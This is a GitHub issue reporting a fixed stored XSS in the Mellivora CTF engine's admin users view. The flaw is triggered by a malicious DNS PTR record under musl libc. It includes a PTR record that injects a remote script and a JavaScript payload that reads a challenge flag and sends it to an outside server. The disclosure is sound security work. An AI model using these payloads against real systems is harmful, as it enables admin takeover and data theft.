Nakiami / mellivora

Mellivora is a CTF engine written in PHP
GNU General Public License v3.0
443 stars 170 forks source link

XSS issue leading to platform takeover under certain setups #123

Closed Sin42 closed 5 years ago

Sin42 commented 5 years ago

In certain setups, it is possible to use the unescaped gethostbyaddr present in the users view of the admin panel to gain admin control. The issue is present here: https://github.com/Nakiami/mellivora/blob/c2571f65a205e3266df5c952715203123c45ee30/include/layout/user.inc.php#L303

Note that by certain setups I mean installations under lightweight containers such as Alpine Linux. In this example situation, the gethostbyaddr is handled by musl libc which does not properly check the DNS PTR response. I have yet to ascertain whether this is exploitable under normal conditions but I believe it not to be the case.

An example Proof of Concept is if a user registers from the ip 93.113.125.10 and then the admin checks the user page triggering the inclusion of the PTR record in the response.

# dig -x 93.113.125.10

; <<>> DiG 9.11.3-1ubuntu1.8-Ubuntu <<>> -x 93.113.125.10
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 31822
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 8192
;; QUESTION SECTION:
;10.125.113.93.in-addr.arpa.    IN  PTR

;; ANSWER SECTION:
10.125.113.93.in-addr.arpa. 86400 IN    PTR <script/src=//95.179.178.59/a.js></script>.

;; Query time: 552 msec
;; SERVER: 4.2.2.2#53(4.2.2.2)
;; WHEN: Wed Oct 02 21:03:07 UTC 2019
;; MSG SIZE  rcvd: 111

Although the document.cookie cannot be exfiltrated due to HttpOnly, a CSRF can still be executed to create a dynamic page (leading to RCE) or just to get the flags of all the challenges.

An example payload for stealing a flag would be this:

fetch("http://52.157.103.137:13370/admin/edit_challenge.php?id=1").then(s => s.text()).then(s => {
  const flag = /PTBCTF\{[a-z0-9]+\}/g.exec(s);
  document.location = "http://159.65.92.245/flg?" + encodeURIComponent(flag);
})
Nakiami commented 5 years ago

Very nice. Fixed in https://github.com/Nakiami/mellivora/commit/e0b6965f8dde608a3d2621617c05695eb406cbb9.